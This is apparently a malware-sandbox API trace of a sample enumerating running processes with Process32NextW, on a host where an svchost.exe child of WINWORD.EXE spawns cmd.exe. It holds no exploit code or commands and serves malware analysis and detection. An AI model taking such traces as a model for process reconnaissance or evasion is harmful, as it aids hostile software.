[0108.554] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.555] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.556] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0108.557] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.558] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.559] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0108.559] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0108.560] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0108.561] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0108.562] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0108.563] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0108.563] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0108.564] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0108.565] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0108.566] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0108.567] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0108.568] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0108.569] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0108.570] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0108.571] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0108.572] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0108.573] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0108.573] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0108.574] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0108.575] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0108.576] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0108.577] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0108.578] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0108.579] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0108.580] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0108.581] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0108.582] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.583] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0108.583] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.604] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0108.605] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.606] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0108.607] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0108.607] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0108.608] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.609] Process32NextW (in: hSnapshot=0xaf0, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0108.610] CloseHandle (hObject=0xaf0) returned 1 [0108.610] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0xaf0 [0108.612] Thread32First (hSnapshot=0xaf0, lpte=0x4f1f308) returned 1 [0109.742] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x500 [0109.744] Process32FirstW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.745] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0109.746] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0109.747] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.748] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0109.749] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.749] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0109.750] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0109.751] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0109.752] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0109.753] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.758] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.759] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.759] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.760] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.761] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.762] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.763] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.764] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0109.764] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.765] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0109.766] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0109.767] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0109.768] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0109.769] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0109.770] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0109.771] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0109.772] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0109.773] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0109.774] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0109.775] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0109.775] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0109.776] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0109.777] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0109.778] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0109.779] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0109.780] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0109.780] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0109.781] Process32NextW (in: hSnapshot=0x500, lppe=0x4f1f0f0 | out: lppe=0x4f1f0f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0109.782] 